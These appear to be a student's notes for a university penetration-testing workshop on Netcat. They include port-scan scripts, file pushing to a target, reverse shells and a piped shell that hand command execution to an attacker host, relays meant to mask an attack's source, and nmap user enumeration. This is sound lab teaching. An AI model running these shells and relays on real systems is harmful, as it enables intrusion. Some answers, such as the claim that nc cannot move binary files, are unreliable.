Practical 5

Thursday, 1 September 2022 6:06 AM

ISEC3002 Penetration Testing and Defence Workshop 5

The purpose of this workshop is to get you to be familiar with the Netcat (nc) tool.

Exercise 1) Use nc to grab the information of the services running on the Domain Controllers in the 192.168.2.0/24 subnet.
nc -nv 192.168.2.4 389

Exercise 2) Write a shell script using nc to allow you to do a port scan of the top 2048 ports and displays only a list of the open ports on the target machine.
#!/bin/bash
nc -znv 192.168.2.4 1-2048 | awk -F " " '{print $3}'

Exercise 3) Sometimes we need to put files on the target machines to elevate our privileges or run a local exploit.
Use nc to push a file from your machine (Kali) to the Snowhawk.
On Windows (receiver)
nc -lvnp 4444 > file.txt
On Kali (sender)
nc -nv 192.168.57.3 (Windows IP) 4444 < file.txt
Does the approach work with binary files?
no

Exercise 4) One can use the nc listener to spawn a shell when the connection is made to the open port using -e option.
Try to get a session started on the Snowhawk machine from the Kali machine.
On Kali (set up the listener)
nc -lvnp 4444
On Windows (set up the reverse shell)
nc <Kali IP> 4444 -e bin/bash
What do you notice about the Snowhawk netcat command?
It probably doesn't have the -e switch
How can one address the issue?
On Kali, set up two listeners. (one for issuing commands the other for showing the output)
nc -lvnp 2222 (for commands)
nc -lvnp 4444 (for output)
On Windows pipe the input from command port to /bin/bash (which executes the command) and then pipe the output to the output port
nc <Kali IP> 2222 | /bin/bash | nc <Kali IP> 4444

Exercise 5) Netcat can be used to relay information from one port on a machine to another port on a different machine. This can be used by attackers, to show that the attack is not coming from them. Use nc commands to:
send packets from any connection on the local port (2222) to any connection on remote

port (443) of the remote host (e.g.192.168.57.6)
nc -lvnp 2222 | nc 192.168.57.6 443
send packets from the connection to a host (e.g. 192.168.57.5) on 4444 to Netcat client connected on the different host (e.g. 192.168.57.6) on 2222.
nc 192.168.57.5 4444 | nc 192.168.57.6 2222

Exercise 6) By using Netcat can execute command and script on a remote host. Use nc commands to:
run a shell command from a remote machine

- e.g. Remote host:192.168.57.6 and Remote port: 2222, Local host:192.168.57.5

run a script from a remote machine

- e.g. Remote host:192.168.57.6 and Remote port: 2222, Local host:192.168.57.5

Hints:
nc -v -z -w3 target_ip 1-2048
nc -vn -z -w3 192.168.56.143 1-2048

*////////////////////// **port_scanning_nc.sh** //////////////////////////*
```
#!/bin/bash
broken=0;
function break_script{
   broken=1;}
trap break_script SIGINT;
for (( i = 1; i <= 2048; ++i ))
do
   nc -z -w 1 "$1" "$i" < /dev/null;
   [ $? -eq 0 ] && echo "Open port $i";
   [ $broken -eq 1 ] && break;
done
```
//
chmod u+x port_scanning_nc.sh
./port_scanning_nc.sh 192.168.57.5
//

nc -l -p 8888 < example.txt (on attacker machine)
netcat 192.168.40.40 (on attacking machine)

nc without -e option
On the attacker:

- nc -l -p port1 (this is the one that can issue commands)
- nc -l -p port2

From the target:

- nc attacker_ip port1 | /bin/bash | nc attacker_ip port2

nmblookup -A 192.168.56.150

nbtscan 192.168.56.150
sudo nmap -sU -sS --script smb-enum-users.nse -p U:137,T:139 <host>
nmap -sV --script=ncp-enum-users <target>
nc -l -p <port_number> -c 'echo $(pwd)'
nc -l -p <port_number> -e '/usr/local/bin/my_scrpt'

Reference:

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